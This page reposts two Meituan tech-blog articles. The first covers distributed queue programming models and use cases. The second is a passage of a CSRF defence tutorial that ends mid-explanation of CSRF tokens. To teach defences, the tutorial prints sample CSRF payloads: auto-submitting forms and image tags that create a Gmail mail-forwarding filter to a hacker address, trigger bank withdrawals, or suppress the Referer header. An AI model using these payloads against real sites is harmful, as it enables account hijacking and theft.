整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

分布式队列编程模型、实战

文转自 “美团点评技术博客”:http://tech.meituan.com/distributed_queue_based_programming.html

介绍

作为一种基础的抽象数据结构,队列被广泛应用在各类编程中。大数据时代对跨进程、跨机器的通讯提出了更高的要求,和以往相比,分布式队列编程的运用几乎已无处不在。但是,这种常见的基础性的事物往往容易被忽视,使用者往往会忽视两点:

  • 使用分布式队列的时候,没有意识到它是队列。

  • 有具体需求的时候,忘记了分布式队列的存在。

文章首先从最基础的需求出发,详细剖析分布式队列编程模型的需求来源、定义、结构以及其变化多样性。通过这一部分的讲解,作者期望能在两方面帮助读者:一方面,提供一个系统性的思考方法,使读者能够将具体需求关联到分布式队列编程模型,具备进行分布式队列架构的能力;另一方面,通过全方位的讲解,让读者能够快速识别工作中碰到的各种分布式队列编程模型。

文章的第二部分实战篇。根据作者在新美大实际工作经验,给出了队列式编程在分布式环境下的一些具体应用。这些例子的基础模型并非首次出现在互联网的文档中,但是所有的例子都是按照挑战、构思、架构三个步骤进行讲解的。这种讲解方式能给读者一个“从需求出发去构架分布式队列编程”的旅程。

在文章的最后一部分优化篇里面,重点阐述了在工程师在运用分布式队列编程构架的时候,在生产者、分布式队列以及消费者这三个环节的注意点以及优化建议。

分布式队列编程--模型篇

模型篇从基础的需求出发,去思考何时以及如何使用分布式队列编程模型。建模环节非常重要,因为大部分中高级工程师面临的都是具体的需求,接到需求后的第一个步骤就是建模。通过本篇的讲解,希望读者能够建立起从需求到分布式队列编程模型之间的桥梁。

从通讯

通讯是人们最基本的需求,同样也是计算机最基本的需求。对于工程师而言,在编程和技术选型的时候,更容易进入大脑的概念是RPC、RESTful、Ajax、Kafka。在这些具体的概念后面,最本质的东西是“通讯”。所以,大部分建模和架构都需要从“通讯”这个基本概念开始。当确定系统之间有通讯需求的时候,工程师们需要做很多的决策和平衡,这直接影响工程师们是否会选择分布式队列编程模型作为架构。从这个角度出发,影响建模的因素有四个:When、Who、Where、How。

When:同步VS异步

通讯的一个基本问题是:发出去的消息什么时候需要被接收到?这个问题引出了两个基础概念:“同步通讯”和“异步通讯”。根据理论抽象模型,同步通讯和异步通讯最本质的差别来自于时钟机制的有无。同步通讯的双方需要一个校准的时钟,异步通讯的双方不需要时钟。现实的情况是,没有完全校准的时钟,所以没有绝对的同步通讯。同样,绝对异步通讯意味着无法控制一个发出去的消息被接收到的时间点,无期限的等待一个消息显然毫无实际意义。所以,实际编程中所有的通讯既不是“同步通讯”也不是“异步通讯”;或者说,既是“同步通讯”也是“异步通讯”。特别是对于应用层的通讯,其底层架构可能既包含“同步机制”也包含“异步机制”。判断“同步”和“异步”消息的标准问题太深,而不适合继续展开。作者这里给一些启发式的建议:

  • 发出去的消息是否需要确认,如果不需要确认,更像是异步通讯,这种通讯有时候也称为单向通讯(One-Way Communication)。

  • 如果需要确认,可以根据需要确认的时间长短进行判断。时间长的更像是异步通讯,时间短的更像是同步通讯。当然时间长短的概念是纯粹的主观概念,不是客观标准。

  • 发出去的消息是否阻塞下一个指令的执行,如果阻塞,更像是同步,否则,更像是异步。

无论如何,工程师们不能生活在混沌之中,不做决定往往是最坏的决定。当分析一个通讯需求或者进行通讯构架的时候,工程师们被迫作出“同步”还是“异步”的决定。当决策的结论是“异步通讯”的时候,分布式队列编程模型就是一个备选项。

Who:发送者接收者解耦

在进行通讯需求分析的时候,需要回答的另外一个基本问题是:消息的发送方是否关心谁来接收消息,或者反过来,消息接收方是否关心谁来发送消息。如果工程师的结论是:消息的发送方和接收方不关心对方是谁、以及在哪里,分布式队列编程模型就是一个备选项。因为在这种场景下,分布式队列架构所带来的解耦能给系统架构带来这些好处:

  • 无论是发送方还是接收方,只需要跟消息中间件通讯,接口统一。统一意味着降低开发成本。

  • 在不影响性能的前提下,同一套消息中间件部署,可以被不同业务共享。共享意味着降低运维成本。

  • 发送方或者接收方单方面的部署拓扑的变化不影响对应的另一方。解藕意味着灵活和可扩展。

Where:消息暂存机制

在进行通讯发送方设计的时候,令工程师们苦恼的问题是:如果消息无法被迅速处理掉而产生堆积怎么办、能否被直接抛弃?如果根据需求分析,确认存在消息积存,并且消息不应该被抛弃,就应该考虑分布式队列编程模型构架,因为队列可以暂存消息。

How:如何传递

对通讯需求进行架构,一系列的基础挑战会迎面而来,这包括:

  • 可用性,如何保障通讯的高可用。

  • 可靠性,如何保证消息被可靠地传递。

  • 持久化,如何保证消息不会丢失。

  • 吞吐量和响应时间。

  • 跨平台兼容性。

    除非工程师对造轮子有足够的兴趣,并且有充足的时间,采用一个满足各项指标的分布式队列编程模型就是一个简单的选择。

分布式队列编程定义

很难给出分布式队列编程模型的精确定义,由于本文偏重于应用,作者并不打算完全参照某个标准的模型。总体而言:分布式队列编程模型包含三类角色:发送者(Sender)、分布式队列(Queue)、接收者(Receiver)。发送者和接收者分别指的是生产消息和接收消息的应用程序或服务。

需要重点明确的概念是分布式队列,它是提供以下功能的应用程序或服务:1. 接收“发送者”产生的消息实体;2. 传输、暂存该实体;3. 为“接收者”提供读取该消息实体的功能。。特定的场景下,它当然可以是Kafka、RabbitMQ等消息中间件。但它的展现形式并不限于此,例如:

  • 队列可以是一张数据库的表,发送者将消息写入表,接收者从数据表里读消息。

  • 如果一个程序把数据写入Redis等内存Cache里面,另一个程序从Cache里面读取,缓存在这里就是一种分布式队列。

  • 流式编程里面的的数据流传输也是一种队列。

  • 典型的MVC(Model–view–controller)设计模式里面,如果Model的变化需要导致View的变化,也可以通过队列进行传输。这里的分布式队列可以是数据库,也可以是某台服务器上的一块内存。

抽象模型

最基础的分布式队列编程抽象模型是点对点模型,其他抽象构架模型居于改基本模型上各角色的数量和交互变化所导致的不同拓扑图。具体而言,不同数量的发送者、分布式队列以及接收者组合形成了不同的分布式队列编程模型。记住并理解典型的抽象模型结构对需求分析和建模而言至关重要,同时也会有助于学习和深入理解开源框架以及别人的代码。

点对点模型(Point-to-point)

基础模型中,只有一个发送者、一个接收者和一个分布式队列。如下图所示:

生产者消费者模型(Producer–consumer)

如果发送者和接收者都可以有多个部署实例,甚至不同的类型;但是共用同一个队列,这就变成了标准的生产者消费者模型。在该模型,三个角色一般称之为生产者(Producer)、分布式队列(Queue)、消费者(Consumer)。

发布订阅模型(PubSub)

如果只有一类发送者,发送者将产生的消息实体按照不同的主题(Topic)分发到不同的逻辑队列。每种主题队列对应于一类接收者。这就变成了典型的发布订阅模型。在该模型,三个角色一般称之为发布者(Publisher),分布式队列(Queue),订阅者(Subscriber)。

MVC模型

如果发送者和接收者存在于同一个实体中,但是共享一个分布式队列。这就很像经典的MVC模型。

编程模型

为了让读者更好地理解分布式队列编程模式概念,这里将其与一些容易混淆的概念做一些对比 。

分布式队列模型编程和异步编程

分布式队列编程模型的通讯机制一般是采用异步机制,但是它并不等同于异步编程。

首先,并非所有的异步编程都需要引入队列的概念,例如:大部分的操作系统异步I/O操作都是通过硬件中断( Hardware Interrupts)来实现的。

其次,异步编程并不一定需要跨进程,所以其应用场景并不一定是分布式环境。

最后,分布式队列编程模型强调发送者、接收者和分布式队列这三个角色共同组成的架构。这三种角色与异步编程没有太多关联。

分布式队列模式编程和流式编程

随着Spark Streaming,Apache Storm等流式框架的广泛应用,流式编程成了当前非常流行的编程模式。但是本文所阐述的分布式队列编程模型和流式编程并非同一概念。

首先,本文的队列编程模式不依赖于任何框架,而流式编程是在具体的流式框架内的编程。

其次,分布式队列编程模型是一个需求解决方案,关注如何根据实际需求进行分布式队列编程建模。流式框架里的数据流一般都通过队列传递,不过,流式编程的关注点比较聚焦,它关注如何从流式框架里获取消息流,进行map、reduce、 join等转型(Transformation)操作、生成新的数据流,最终进行汇总、统计。

分布式队列编程--实战篇

这里所有的项目都是作者在新美大工作的真实案例。实战篇的关注点是训练建模思路,所以这些例子都按照挑战、构思、架构三个步骤进行讲解。受限于保密性要求,有些细节并未给出,但这些细节并不影响讲解的完整性。另一方面,特别具体的需求容易让人费解,为了使讲解更加顺畅,作者也会采用一些更通俗易懂的例子。通过本篇的讲解,希望和读者一起去实践“如何从需求出发去构架分布式队列编程模型”。

需要声明的是,这里的解决方案并不是所处场景的最优方案。但是,任何一个稍微复杂的问题,都没有最优解决方案,更谈不上唯一的解决方案。实际上,工程师每天所追寻的只是在满足一定约束条件下的可行方案。当然不同的约束会导致不同的方案,约束的松弛度决定了工程师的可选方案的宽广度。

信息采集处理

信息采集处理应用广泛,例如:广告计费、用户行为收集等。作者碰到的具体项目是为广告系统设计一套高可用的采集计费系统。

典型的广告CPC、CPM计费原理是:收集用户在客户端或者网页上的点击和浏览行为,按照点击和浏览进行计费。计费业务有如下典型特征:

  • 采集者和处理者解耦,采集发生在客户端,而计费发生在服务端。

  • 计费与钱息息相关。

  • 重复计费意味着灾难。

  • 计费是动态实时行为,需要接受预算约束,如果消耗超过预算,则广告投放需要停止。

  • 用户的浏览和点击量非常大。

挑战

计费业务的典型特征给我们带来了如下挑战:

  • 高吞吐量--广告的浏览和点击量非常巨大,我们需要设计一个高吞吐量的采集架构。

  • 高可用性--计费信息的丢失意味着直接的金钱损失。任何处理服务器的崩溃不应该导致系统不可用。

  • 高一致性要求--计费是一个实时动态处理过程,但要受到预算的约束。收集到的浏览和点击行为如果不能快速处理,可能会导致预算花超,或者点击率预估不准确。所以采集到的信息应该在最短的时间内传输到计费中心进行计费。

  • 完整性约束--这包括反作弊规则,单个用户行为不能重复计费等。这要求计费是一个集中行为而非分布式行为。

  • 持久化要求--计费信息需要持久化,避免因为机器崩溃而导致收集到的数据产生丢失。

构思

采集的高可用性意味着我们需要多台服务器同时采集,为了避免单IDC故障,采集服务器需要部署在多IDC里面。

实现一个高可用、高吞吐量、高一致性的信息传递系统显然是一个挑战,为了控制项目开发成本,采用开源的消息中间件进行消息传输就成了必然选择。

完整性约束要求集中进行计费,所以计费系统发生在核心IDC。

计费服务并不关心采集点在哪里,采集服务也并不关心谁进行计费。

根据以上构思,我们认为采集计费符合典型的“生产者消费者模型”。

架构

采集计费系统架构图如下:

  • 用户点击浏览收集服务(Click/View Collector)作为生产者部署在多个机房里,以提高收集服务可用性。

  • 每个机房里采集到的数据通过消息队列中间件发送到核心机房IDC_Master。

  • Billing服务作为消费者部署在核心机房集中计费。

采用此架构,我们可以在如下方面做进一步优化:

  • 提高可扩展性,如果一个Billing部署实例在性能上无法满足要求,可以对采集的数据进行主题分区(Topic Partition)计费,即采用发布订阅模式以提高可扩展性(Scalability)。

  • 全局排重和反作弊。采用集中计费架构解决了点击浏览排重的问题,另一方面,这也给反作弊提供了全局信息。

  • 提高计费系统的可用性。采用下文单例服务优化策略,在保障计费系统集中性的同时,提高计费系统可用性。

分布式缓存更新(Distributed Cache Replacement)

缓存是一个非常宽泛的概念,几乎存在于系统各个层级。典型的缓存访问流程如下:

  • 接收到请求后,先读取缓存,如果命中则返回结果。

  • 如果缓存不命中,读取DB或其它持久层服务,更新缓存并返回结果。

    对于已经存入缓存的数据,其更新时机和更新频率是一个经典问题,即缓存更新机制(Cache Replacement Algorithms )。典型的缓存更新机制包括:近期最少使用算法(LRU)、最不经常使用算法(LFU)。这两种缓存更新机制的典型实现是:启动一个后台进程,定期清理最近没有使用的,或者在一段时间内最少使用的数据。由于存在缓存驱逐机制,当一个请求在没有命中缓存时,业务层需要从持久层中获取信息并更新缓存,提高一致性。

挑战

分布式缓存给缓存更新机制带来了新的问题:

  • 数据一致性低。分布式缓存中键值数量巨大,从而导致LRU或者LFU算法更新周期很长。在分布式缓存中,拿LRU算法举例,其典型做法是为每个Key值设置一个生存时间(TTL),生存时间到期后将该键值从缓存中驱逐除去。考虑到分布式缓存中庞大的键值数量,生存时间往往会设置的比较长,这就导致缓存和持久层数据不一致时间很长。如果生存时间设置过短,大量请求无法命中缓存被迫读取持久层,系统响应时间会急剧恶化。

  • 新数据不可用。在很多场景下,由于分布式缓存和持久层的访问性能相差太大,在缓存不命中的情况下,一些应用层服务不会尝试读取持久层,而直接返回空结果。漫长的缓存更新周期意味着新数据的可用性就被牺牲了。从统计的角度来讲,新键值需要等待半个更新周期才会可用。

构思

根据上面的分析,分布式缓存需要解决的问题是:在保证读取性能的前提下,尽可能地提高老数据的一致性和新数据的可用性。如果仍然假定最近被访问的键值最有可能被再次访问(这是LRU或者LFU成立的前提),键值每次被访问后触发一次异步更新就是提高可用性和一致性最早的时机。无论是高性能要求还是业务解耦都要求缓存读取和缓存更新分开,所以我们应该构建一个单独的集中的缓存更新服务。集中进行缓存更新的另外一个好处来自于频率控制。由于在一段时间内,很多类型访问键值的数量满足高斯分布,短时间内重复对同一个键值进行更新Cache并不会带来明显的好处,甚至造成缓存性能的下降。通过控制同一键值的更新频率可以大大缓解该问题,同时有利于提高整体数据的一致性,参见“排重优化”。

综上所述,业务访问方需要把请求键值快速传输给缓存更新方,它们之间不关心对方的业务。要快速、高性能地实现大量请求键值消息的传输,高性能分布式消息中间件就是一个可选项。这三方一起组成了一个典型的分布式队列编程模型。

架构

如下图,所有的业务请求方作为生产者,在返回业务代码处理之前将请求键值写入高性能队列。Cache Updater作为消费者从队列中读取请求键值,将持久层中数据更新到缓存中。

采用此架构,我们可以在如下方面做进一步优化:

  • 提高可扩展性,如果一个Cache Updater在性能上无法满足要求,可以对键值进行主题分区(Topic Partition)进行并行缓存更新,即采用发布订阅模式以提高可扩展性(Scalability)。

  • 更新频率控制。缓存更新都集中处理,对于发布订阅模式,同一类主题(Topic)的键值集中处理。Cache Updater可以控制对同一键值的在短期内的更新频率(参见下文排重优化)。

后台任务处理

典型的后台任务处理应用包括工单处理、火车票预订系统、机票选座等。我们所面对的问题是为运营人员创建工单。一次可以为多个运营人员创建多个工单。这个应用场景和火车票购买非常类似。工单相对来说更加抽象,所以,下文会结合火车票购买和运营人员工单分配这两种场景同时讲解。典型的工单创建要经历两个阶段:数据筛选阶段、工单创建阶段。例如,在火车票预订场景,数据筛选阶段用户选择特定时间、特定类型的火车,而在工单创建阶段,用户下单购买火车票。

挑战

工单创建往往会面临如下挑战:

  • 数据一致性问题。以火车票预订为例,用户筛选火车票和最终购买之间往往有一定的时延,意味着两个操作之间数据是不一致的。在筛选阶段,工程师们需决定是否进行车票锁定,如果不锁定,则无法保证出票成功。反之,如果在筛选地时候锁定车票,则会大大降低系统效率和出票吞吐量。

  • 约束问题。工单创建需要满足很多约束,主要包含两种类型:动态约束,与操作者的操作行为有关,例如购买几张火车票的决定往往发生在筛选最后阶段。隐性约束,这种约束很难通过界面进行展示,例如一个用户购买了5张火车票,这些票应该是在同一个车厢的临近位置。

  • 优化问题。工单创建往往是约束下的优化,这是典型的统筹优化问题,而统筹优化往往需要比较长的时间。

  • 响应时间问题。对于多任务工单,一个请求意味着多个任务产生。这些任务的创建往往需要遵循事务性原则,即All or Nothing。在数据层面,这意味着工单之间需要满足串行化需求(Serializability)。大数据量的串行化往往意味着锁冲突延迟甚至失败。无论是延迟机制所导致的长时延,还是高创建失败率,都会大大伤害用户体验。

构思

如果将用户筛选的最终规则做为消息存储下来,并发送给工单创建系统。此时,工单创建系统将具备创建工单所需的全局信息,具备在满足各种约束的条件下进行统筹优化的能力。如果工单创建阶段采用单实例部署,就可以避免数据锁定问题,同时也意味着没有锁冲突,所以也不会有死锁或任务延迟问题。

居于以上思路,在多工单处理系统的模型中,筛选阶段的规则创建系统将充当生产者角色,工单创建系统将充当消费者角色,筛选规则将作为消息在两者之间进行传递。这就是典型的分布式队列编程架构。根据工单创建量的不同,可以采用数据库或开源的分布式消息中间件作为分布式队列。

架构

该架构流程如下图:

  • 用户首选进行规则创建,这个过程主要是一些搜索筛选操作;

  • 用户点击工单创建,TicketRule Generator将把所有的筛选性组装成规则消息并发送到队列里面去;

  • Ticket Generator作为一个消费者,实时从队列中读取工单创建请求,开始真正创建工单。

    采用该架构,我们在数据锁定、运筹优化、原子性问题都能得到比较好成果:

  • 数据锁定推迟到工单创建阶段,可以减少数据锁定范围,最大程度的降低工单创建对其他在线操作的影响范围。

  • 如果需要进行统筹优化,可以将Ticket Generator以单例模式进行部署(参见单例服务优化)。这样,Ticket Generator可以读取一段时间内的工单请求,进行全局优化。例如,在我们的项目中,在某种条件下,运营人员需要满足分级公平原则,即相同级别的运营人员的工单数量应该接近,不同级别的运营人员工单数量应该有所区分。如果不集中进行统筹优化,实现这种优化规则将会很困难。

  • 保障了约束完整性。例如,在我们的场景里面,每个运营人员每天能够处理的工单是有数量限制的,如果采用并行处理的方式,这种完整性约束将会很难实施。

参考资料

[1] Rabbit MQ, Highly Available Queues.

[2] IBM Knowledge Center, Introduction to message queuing.

[3] Wikipedia, Serializability.

[4] Hadoop, ZooKeeper Recipes and Solutions.

[5] Apache Kafka.

[6] Lamport L, Paxos Made Simple.

查看更多技术类文章,请关注微信公众号:美团点评技术团队。

当当当,我是美团技术团队的程序员鼓励师美美~“基本功”专栏又来新文章了,本篇是我们前端安全系列文章的第二篇,主要聊聊前端开发过程中遇到的CSRF问题,希望对你有帮助哦~

我们将不断梳理常见的前端安全问题以及对应的解决方案,希望可以帮助前端同学在日常开发中不断预防和修复安全漏洞,Enjoy Reading!

背景

随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在进化和发展,不断引入 CSP、Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需要前端技术人员不断进行“查漏补缺”。

前端安全

近几年,美团业务高速发展,前端随之面临很多安全挑战,因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案,将会做成一个系列,希望可以帮助前端同学在日常开发中不断预防和修复安全漏洞。此前我们已经发布过《前端安全系列之一:如何防止XSS攻击?》,本文是该系列的第二篇。

今天我们讲解一下 CSRF,其实相比XSS,CSRF的名气似乎并不是那么大,很多人都认为“CSRF不具备那么大的破坏性”。真的是这样吗?接下来,我们还是有请小明同学再次“闪亮”登场。

CSRF攻击

CSRF漏洞的发生

相比XSS,CSRF的名气似乎并不是那么大,很多人都认为CSRF“不那么有破坏性”。真的是这样吗?

接下来有请小明出场~~

小明的悲惨遭遇

这一天,小明同学百无聊赖地刷着Gmail邮件。大部分都是没营养的通知、验证码、聊天记录之类。但有一封邮件引起了小明的注意:

甩卖比特币,一个只要998!!

聪明的小明当然知道这种肯定是骗子,但还是抱着好奇的态度点了进去(请勿模仿)。果然,这只是一个什么都没有的空白页面,小明失望的关闭了页面。一切似乎什么都没有发生……

在这平静的外表之下,黑客的攻击已然得手。小明的Gmail中,被偷偷设置了一个过滤规则,这个规则使得所有的邮件都会被自动转发到hacker@hackermail.com。小明还在继续刷着邮件,殊不知他的邮件正在一封封地,如脱缰的野马一般地,持续不断地向着黑客的邮箱转发而去。

不久之后的一天,小明发现自己的域名已经被转让了。懵懂的小明以为是域名到期自己忘了续费,直到有一天,对方开出了 0 的赎回价码,小明才开始觉得不太对劲。

小明仔细查了下域名的转让,对方是拥有自己的验证码的,而域名的验证码只存在于自己的邮箱里面。小明回想起那天奇怪的链接,打开后重新查看了“空白页”的源码:

<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> 
 <input type="hidden" name="cf2_emc" value="true"/> 
 <input type="hidden" name="cf2_email" value="hacker@hakermail.com"/> 
 .....
 <input type="hidden" name="irf" value="on"/> 
 <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> 
</form> 
<script> 
 document.forms[0].submit();
</script>

这个页面只要打开,就会向Gmail发送一个post请求。请求中,执行了“Create Filter”命令,将所有的邮件,转发到“hacker@hackermail.com”。

小明由于刚刚就登陆了Gmail,所以这个请求发送时,携带着小明的登录凭证(Cookie),Gmail的后台接收到请求,验证了确实有小明的登录凭证,于是成功给小明配置了过滤器。

黑客可以查看小明的所有邮件,包括邮件里的域名验证码等隐私信息。拿到验证码之后,黑客就可以要求域名服务商把域名重置给自己。

小明很快打开Gmail,找到了那条过滤器,将其删除。然而,已经泄露的邮件,已经被转让的域名,再也无法挽回了……

以上就是小明的悲惨遭遇。而“点开一个黑客的链接,所有邮件都被窃取”这种事情并不是杜撰的,此事件原型是2007年Gmail的CSRF漏洞:

https://www.davidairey.com/google-gmail-security-hijack/

当然,目前此漏洞已被Gmail修复,请使用Gmail的同学不要慌张。

什么是CSRF

CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。

一个典型的CSRF攻击有着如下的流程:

  • 受害者登录a.com,并保留了登录凭证(Cookie)。
  • 攻击者引诱受害者访问了b.com。
  • b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会默认携带a.com的Cookie。
  • a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。
  • a.com以受害者的名义执行了act=xx。
  • 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作。

几种常见的攻击类型

  • GET类型的CSRF

GET类型的CSRF利用非常简单,只需要一个HTTP请求,一般会这样利用:

 <img src="http://bank.example/withdraw?amount=10000&for=hacker" > 

在受害者访问含有这个img的页面后,浏览器会自动向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker发出一次HTTP请求。bank.example就会收到包含受害者登录信息的一次跨域请求。

  • POST类型的CSRF

这种类型的CSRF利用起来通常使用的是一个自动提交的表单,如:

 <form action="http://bank.example/withdraw" method=POST>
 <input type="hidden" name="account" value="xiaoming" />
 <input type="hidden" name="amount" value="10000" />
 <input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script> 

访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作。

POST类型的攻击通常比GET要求更加严格一点,但仍并不复杂。任何个人网站、博客,被黑客上传页面的网站都有可能是发起攻击的来源,后端接口不能将安全寄托在仅允许POST上面。

  • 链接类型的CSRF

链接类型的CSRF并不常见,比起其他两种用户打开页面就中招的情况,这种需要用户点击链接才会触发。这种类型通常是在论坛中发布的图片中嵌入恶意链接,或者以广告的形式诱导用户中招,攻击者通常会以比较夸张的词语诱骗用户点击,例如:

 <a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">
 重磅消息!!
 <a/>

由于之前用户登录了信任的网站A,并且保存登录状态,只要用户主动访问上面的这个PHP页面,则表示攻击成功。

CSRF的特点

  • 攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生。
  • 攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据。
  • 整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用”。
  • 跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪。

CSRF通常是跨域的,因为外域通常更容易被攻击者掌控。但是如果本域下有容易被利用的功能,比如可以发图和链接的论坛和评论区,攻击可以直接在本域下进行,而且这种攻击更加危险。

防护策略

CSRF通常从第三方网站发起,被攻击的网站无法防止攻击发生,只能通过增强自己网站针对CSRF的防护能力来提升安全性。

上文中讲了CSRF的两个特点:

  • CSRF(通常)发生在第三方域名。
  • CSRF攻击者不能获取到Cookie等信息,只是使用。

针对这两点,我们可以专门制定防护策略,如下:

  • 阻止不明外域的访问
  • 同源检测
  • Samesite Cookie
  • 提交时要求附加本域才能获取的信息
  • CSRF Token
  • 双重Cookie验证

以下我们对各种防护方法做详细说明:

同源检测

既然CSRF大多来自第三方网站,那么我们就直接禁止外域(或者不受信任的域名)对我们发起请求。

那么问题来了,我们如何判断请求是否来自外域呢?

在HTTP协议中,每一个异步请求都会携带两个Header,用于标记来源域名:

  • Origin Header
  • Referer Header

这两个Header在浏览器发起请求时,大多数情况会自动带上,并且不能由前端自定义内容。

服务器可以通过解析这两个Header中的域名,确定请求的来源域。

使用Origin Header确定来源域名

在部分与CSRF有关的请求中,请求的Header中会携带Origin字段。字段内包含请求的域名(不包含path及query)。

如果Origin存在,那么直接使用Origin中的字段确认来源域名就可以。

但是Origin在以下两种情况下并不存在:

  • IE11同源策略: IE 11 不会在跨站CORS请求上添加Origin标头,Referer头将仍然是唯一的标识。最根本原因是因为IE 11对同源的定义和其他浏览器有不同,有两个主要的区别,可以参考MDN Same-origin_policy#IE_Exceptions
  • 302重定向: 在302重定向之后Origin不包含在重定向的请求中,因为Origin可能会被认为是其他来源的敏感信息。对于302重定向的情况来说都是定向到新的服务器上的URL,因此浏览器不想将Origin泄漏到新的服务器上。

使用Referer Header确定来源域名

根据HTTP协议,在HTTP头中有一个字段叫Referer,记录了该HTTP请求的来源地址。

对于Ajax请求,图片和script等资源请求,Referer为发起请求的页面地址。对于页面跳转,Referer为打开页面历史记录的前一个页面地址。因此我们使用Referer中链接的Origin部分可以得知请求的来源域名。

这种方法并非万无一失,Referer的值是由浏览器提供的,虽然HTTP协议上有明确的要求,但是每个浏览器对于Referer的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不是很安全。在部分情况下,攻击者可以隐藏,甚至修改自己请求的Referer。

2014年,W3C的Web应用安全工作组发布了Referrer Policy草案,对浏览器该如何发送Referer做了详细的规定。截止现在新版浏览器大部分已经支持了这份草案,我们终于可以灵活地控制自己网站的Referer策略了。新版的Referrer Policy规定了五种Referer策略:No Referrer、No Referrer When Downgrade、Origin Only、Origin When Cross-origin、和 Unsafe URL。之前就存在的三种策略:never、default和always,在新标准里换了个名称。他们的对应关系如下:

根据上面的表格因此需要把Referrer Policy的策略设置成same-origin,对于同源的链接和引用,会发送Referer,referer值为Host不带Path;跨域访问则不携带Referer。例如:aaa.com引用bbb.com的资源,不会发送Referer。

设置Referrer Policy的方法有三种:

  1. 在CSP设置
  2. 页面头部增加meta标签
  3. a标签增加referrerpolicy属性

上面说的这些比较多,但我们可以知道一个问题:攻击者可以在自己的请求中隐藏Referer。如果攻击者将自己的请求这样填写:

 <img src="http://bank.example/withdraw?amount=10000&for=hacker" referrerpolicy="no-referrer"> 

那么这个请求发起的攻击将不携带Referer。

另外在以下情况下Referer没有或者不可信:

1. IE6、7下使用window.location.href=url进行界面的跳转,会丢失Referer。

2. IE6、7下使用window.open,也会缺失Referer。

3. HTTPS页面跳转到HTTP页面,所有浏览器Referer都丢失。

4. 点击Flash上到达另外一个网站的时候,Referer的情况就比较杂乱,不太可信。

无法确认来源域名情况

当Origin和Referer头文件不存在时该怎么办?如果Origin和Referer都不存在,建议直接进行阻止,特别是如果您没有使用随机CSRF Token(参考下方)作为第二次检查。

如何阻止外域请求

通过Header的验证,我们可以知道发起请求的来源域名,这些来源域名可能是网站本域,或者子域名,或者有授权的第三方域名,又或者来自不可信的未知域名。

我们已经知道了请求域名是否是来自不可信的域名,我们直接阻止掉这些的请求,就能防御CSRF攻击了吗?

且慢!当一个请求是页面请求(比如网站的主页),而来源是搜索引擎的链接(例如百度的搜索结果),也会被当成疑似CSRF攻击。所以在判断的时候需要过滤掉页面请求情况,通常Header符合以下情况:

Accept: text/html
Method: GET

但相应的,页面请求就暴露在了CSRF的攻击范围之中。如果你的网站中,在页面的GET请求中对当前用户做了什么操作的话,防范就失效了。

例如,下面的页面请求:

GET https://example.com/addComment?comment=XXX&dest=orderId

注:这种严格来说并不一定存在CSRF攻击的风险,但仍然有很多网站经常把主文档GET请求挂上参数来实现产品功能,但是这样做对于自身来说是存在安全风险的。

另外,前面说过,CSRF大多数情况下来自第三方域名,但并不能排除本域发起。如果攻击者有权限在本域发布评论(含链接、图片等,统称UGC),那么它可以直接在本域发起攻击,这种情况下同源策略无法达到防护的作用。

综上所述:同源验证是一个相对简单的防范方法,能够防范绝大多数的CSRF攻击。但这并不是万无一失的,对于安全性要求较高,或者有较多用户输入内容的网站,我们就要对关键的接口做额外的防护措施。

CSRF Token

前面讲到CSRF的另一个特征是,攻击者无法直接窃取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用Cookie中的信息。

而CSRF攻击之所以能够成功,是因为服务器误把攻击者发送的请求当成了用户自己的请求。那么我们可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token,来把正常的请求和攻击的请求区分开,也可以防范CSRF的攻击。

原理

CSRF Token的防护策略分为三个步骤:

1. 将CSRF Token输出到页面中

首先,用户打开页面的时候,服务器需要给这个用户生成一个Token,该Token通过加密算法对数据进行加密,一般Token都包括随机字符串和时间戳的组合,显然在提交时Token不能再放在Cookie中了,否则又会被攻击者冒用。因此,为了安全起见Token最好还是存在服务器的Session中,之后在每次页面加载时,使用JS遍历整个DOM树,对于DOM中所有的a和form标签后加入Token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的HTML代码,这种方法就没有作用,还需要程序员在编码时手动添加Token。

2. 页面提交的请求携带这个Token

对于GET请求,Token将附在请求地址之后,这样URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上:

<input type=”hidden” name=”csrftoken” value=”tokenvalue”/>

这样,就把Token以参数的形式加入请求了。

3. 服务器验证Token是否正确

当用户从客户端得到了Token,再次提交给服务器的时候,服务器需要判断Token的有效性,验证过程是先解密Token,对比加密字符串以及时间戳,如果加密字符串一致且时间未过期,那么这个Token就是有效的。

这种方法要比之前检查Referer或者Origin要安全一些,Token可以在产生并放于Session之中,然后在每次请求时把Token从Session中拿出,与请求中的Token进行比对,但这种方法的比较麻烦的在于如何把Token以参数的形式加入请求。

